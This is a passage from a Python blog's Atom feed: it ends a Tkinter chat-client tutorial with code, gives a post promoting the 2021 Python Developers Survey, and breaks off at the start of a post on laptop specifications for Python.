&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_textbox&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Entry(top_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;MEDIUM_PURPLE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_button&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Button(top_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Join&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;BUTTON_FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;OCEAN_BLUE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;connect)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_button&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;padx&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_textbox&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Entry(bottom_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;MEDIUM_PURPLE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;38&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;padx&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_button&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Button(bottom_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Send&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;BUTTON_FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;OCEAN_BLUE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;send_message)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_button&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;padx&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;scrolledtext&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;ScrolledText(middle_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;SMALL_FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;MEDIUM_PURPLE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;67&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;26.5&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;config(state&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DISABLED)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;TOP)&lt;/span&gt;


&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;listen_for_messages_from_server&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client):&lt;/span&gt;

    &lt;span style=&quot;color: #66d9ef&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;recv(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2048&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;decode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;split(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;~&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;]&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;content&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;split(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;~&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;]&lt;/span&gt;

            &lt;span style=&quot;color: #f8f8f2&quot;&gt;add_message(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;[{username}] {content}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
            
        &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;messagebox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;showerror(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Error&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Message recevied from client is empty&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# main function&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;():&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;mainloop()&lt;/span&gt;
    
&lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;__name__&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;main()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;



&lt;!------------------------------&gt;
&lt;/div&gt;

&lt;div class=&quot;popup&quot; onclick=&quot;myyyFunction()&quot;&gt;
&lt;span class=&quot;popuptext&quot; id=&quot;myPopupp&quot;&gt;Copied&lt;/span&gt;
&lt;button class=&quot;copy-text&quot; data-clipboard-target=&quot;#contentt&quot; href=&quot;#&quot;&gt;Copy Code&lt;/button&gt;
&lt;/div&gt;



&lt;p&gt;This is how it would look:&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjuE--WAa1gzpxAaWCVCYFOerIbWMHvT0xtUuj33SJjZ_jqoULNHsThRed-7uodNwzYSw0Htfmug4rAfI01tbICLxtMnGsJgfuySfsunlpq-i33PfyEsvpPiVTDSVT4pgvPKdxrQly7XED9uQ_NKw4tksRNWnda_yE_wYu9-uFB0Q4ORC4-YHz-VrUY=s1360&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Creating Yahoo Messenger Like Chat App using Python&quot; border=&quot;0&quot; data-original-height=&quot;767&quot; data-original-width=&quot;1360&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjuE--WAa1gzpxAaWCVCYFOerIbWMHvT0xtUuj33SJjZ_jqoULNHsThRed-7uodNwzYSw0Htfmug4rAfI01tbICLxtMnGsJgfuySfsunlpq-i33PfyEsvpPiVTDSVT4pgvPKdxrQly7XED9uQ_NKw4tksRNWnda_yE_wYu9-uFB0Q4ORC4-YHz-VrUY=s16000&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/4909748895672193698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/creating-yahoo-messenger-like-chat-app.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/4909748895672193698'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/4909748895672193698'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/creating-yahoo-messenger-like-chat-app.html' title='Create Yahoo like Chat App with Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEgiYh9MeQSwjcPP41LbJIM25BBNZxedQgFQVUheA8HVHo0jJ-2quqnWoV2KWBfNgMCDw6Fg4kjct8moL9PX44BVgY2zQbRqhuHaTxV_LmQTMXsVaSHMXYnLz9nX3MrAVIyYg4JHzc5YiZcbwTIFs4-OWsK1qc79ZJT7nDdfgcy_pHfuCQXK-jwyuX5_=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-7411135023310400413</id><published>2021-11-16T12:13:00.011-08:00</published><updated>2021-11-16T12:50:37.725-08:00</updated><title type='text'>Take up Python Developers Survey 2021 &amp; win $100 Amazon Gift Card</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhWPe8iKhSyye38Tjza4Tw3z0QrgnOIdV1eqGKI4oBhD9n83iSSBWqh0MuvS1ylYWKg0MDeXLslBHKAmT6ctp4ZwAoXW6zeohUUB6hrZQU4NBG5qlkObaFo6AIyifdPLVxGwj3BubQd_zcQlS1MS7ov5CszKsjJweUOQvHhAOZiNRTcReuMOvm5FY-1&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Take up Python Developers Survey 2021 &amp; win $100 Amazon Gift Card&quot; border=&quot;0&quot; data-original-height=&quot;1000&quot; data-original-width=&quot;500&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhWPe8iKhSyye38Tjza4Tw3z0QrgnOIdV1eqGKI4oBhD9n83iSSBWqh0MuvS1ylYWKg0MDeXLslBHKAmT6ctp4ZwAoXW6zeohUUB6hrZQU4NBG5qlkObaFo6AIyifdPLVxGwj3BubQd_zcQlS1MS7ov5CszKsjJweUOQvHhAOZiNRTcReuMOvm5FY-1&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p dir=&quot;ltr&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;Hey Pythonista,&lt;br /&gt;&lt;br /&gt;
This is the fifth iteration of the official Python Developers Survey. With this survey, we aim to get an understanding of how the world of Python development looks today and how it compares to last year. In 2020, over 28,000 Python developers from over 150 countries responded, sharing their opinions and helping us get an accurate picture of the Python community.&lt;br /&gt;&lt;br /&gt;
The results of this survey serve as a major source of knowledge about the current state of the Python community, and we encourage you to support this initiative by taking &lt;b&gt;10-15 minutes&lt;/b&gt; to fill it out.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;
This year we have added questions that will help the CPython Developer-in-Residence and the Python Packaging Project Manager prioritize their work based on community feedback.&lt;br /&gt;&lt;br /&gt;
After the survey is over, we will &lt;b&gt;publish the aggregated results&lt;/b&gt; and randomly choose 20 winners (from those who complete the survey in its entirety), who will each receive a&lt;b&gt; $100 Amazon Gift Card&lt;/b&gt; or a local equivalent.&lt;br /&gt;
Thank you for contributing to this community effort!&lt;br /&gt;
Let’s get started!&lt;/span&gt;&lt;/p&gt;


&lt;fieldset id=&quot;sgE-6564873-1-255-box&quot; class=&quot;sg-question sg-type-checkbox  sg-required sg-fieldset&quot;&gt;
			&lt;legend class=&quot;sg-question-title sg-question-legend&quot;&gt;
					&lt;label for=&quot;sgE-6564873-1-255-11416-element&quot;&gt;
		&lt;span style=&quot;font-size:16px;&quot;&gt;The survey is organized in partnership between the Python Software Foundation and JetBrains. It’s hosted by JetBrains, so your responses will be subject to the JetBrains Survey Terms and Conditions.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;span style=&quot;font-size:16px;&quot;&gt;&lt;span style=&quot;color:#B22222;&quot;&gt;*&amp;nbsp;&lt;/span&gt;Indicates a required question&lt;/span&gt;&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;span style=&quot;font-size:16px;&quot;&gt;&lt;a href=&quot;https://www.jetbrains.com/legal/terms/survey-terms.html&quot; target=&quot;_blank&quot;&gt;Survey Terms and Conditions&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt; &lt;strong class=&quot;sg-required-icon&quot;&gt;*&lt;span class=&quot;sg-screenreader-only&quot;&gt;This question is required.&lt;/span&gt;&lt;/strong&gt;	&lt;/label&gt;
			&lt;/legend&gt;
			&lt;input type=&quot;hidden&quot; id=&quot;sgE-6564873-1-255-meta&quot; name=&quot;sgE-6564873-1-255-meta&quot; value=&quot;hidden=false&amp;amp;required=true&quot;&gt;
		&lt;input type=&quot;hidden&quot; id=&quot;sgE-6564873-1-255-time&quot; name=&quot;sgE-6564873-1-255-time&quot; value=&quot;0.014&quot;&gt;
					&lt;div class=&quot;sg-question-options &quot;&gt;
			&lt;ul class=&quot;sg-list sg-list-vertical sg-list-vertical-flipped sg-labels-right&quot;&gt;
	&lt;li class=&quot;sg-single-li&quot;&gt;
	&lt;input type=&quot;checkbox&quot; class=&quot;sg-input sg-input-checkbox&quot; name=&quot;sgE-6564873-1-255-11416&quot; id=&quot;sgE-6564873-1-255-11416&quot; value=&quot;11416&quot; aria-label=&quot;I have read and I accept these Terms and Conditions&quot; title=&quot;I have read and I accept these Terms and Conditions&quot; role=&quot;checkbox&quot;&gt;
&lt;label for=&quot;sgE-6564873-1-255-11416&quot; aria-label=&quot;I have read and I accept these Terms and Conditions&quot;&gt;I have read and I accept these Terms and Conditions&lt;/label&gt;	&lt;/li&gt;
	&lt;/ul&gt;
				&lt;/div&gt;

				&lt;/fieldset&gt;
&lt;style&gt;
.button {
  background-color: #18A3FA; 
  border: none;
  color: white;
  padding: 20px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  cursor: pointer;
  width: 100%;
}
.button4 {border-radius: 50px;}
.button:hover{
background-color: #0887D7; 
}
&lt;/style&gt;

&lt;button class=&quot;button button4&quot; onclick=&quot;window.open(&#39;https://surveys.jetbrains.com/s3/c1-python-developers-survey-2021&#39;);&quot;&gt;START&lt;/button&gt;&lt;br /&gt;

&lt;!-- Pinterest Add in Each Post--&gt;  
&lt;script&gt;
var u = encodeURIComponent(window.location.href);
var i = encodeURIComponent(document.images[0].src);
var t = encodeURIComponent(document.images[0].alt);
document.write(&#39;&lt;a data-pin-do=&quot;buttonPin&quot; data-pin-count=&quot;above&quot; data-pin-tall=&quot;true&quot; href=&quot;&#39;+&#39;https://www.pinterest.com/pin/create/button/?url=&#39;+u+&#39;&amp;media=&#39;+i+&#39;&amp;description=&#39;+t+&#39;&quot;&gt;&lt;\/a&gt;&#39;);
&lt;/script&gt;

&lt;script language=&quot;JavaScript&quot; src=&quot;dynamic.js&quot;&gt;&lt;/script&gt;
&lt;!-- Pinterest --&gt;  </content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/7411135023310400413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/take-up-python-developers-survey-2021.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7411135023310400413'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7411135023310400413'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/take-up-python-developers-survey-2021.html' title='Take up Python Developers Survey 2021 &amp; win $100 Amazon Gift Card'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEhWPe8iKhSyye38Tjza4Tw3z0QrgnOIdV1eqGKI4oBhD9n83iSSBWqh0MuvS1ylYWKg0MDeXLslBHKAmT6ctp4ZwAoXW6zeohUUB6hrZQU4NBG5qlkObaFo6AIyifdPLVxGwj3BubQd_zcQlS1MS7ov5CszKsjJweUOQvHhAOZiNRTcReuMOvm5FY-1=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-5405822354552187074</id><published>2021-11-14T12:32:00.014-08:00</published><updated>2021-11-14T13:54:50.847-08:00</updated><title type='text'>What should be the minimum specifications of my laptop for programming in Python?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEi9f9O_Ds3pHsl1Le3Mp-1UFdeOyAjn5j2xJJD7qADSYduDDP2v7fsZx8fqurvYeqNiDc2_wSYstkdeLz7BB7uUegKhK57L6A9q9cu_Xf7vaCWhV9R7gfGzUyWpyB2BJwDJ2sP35jvh_Pt78pY54krIjNFJAEhDokITZruTPrZZBk7Sh6P1C6MIG7pp&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Minimum System Requirements to run Python&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; 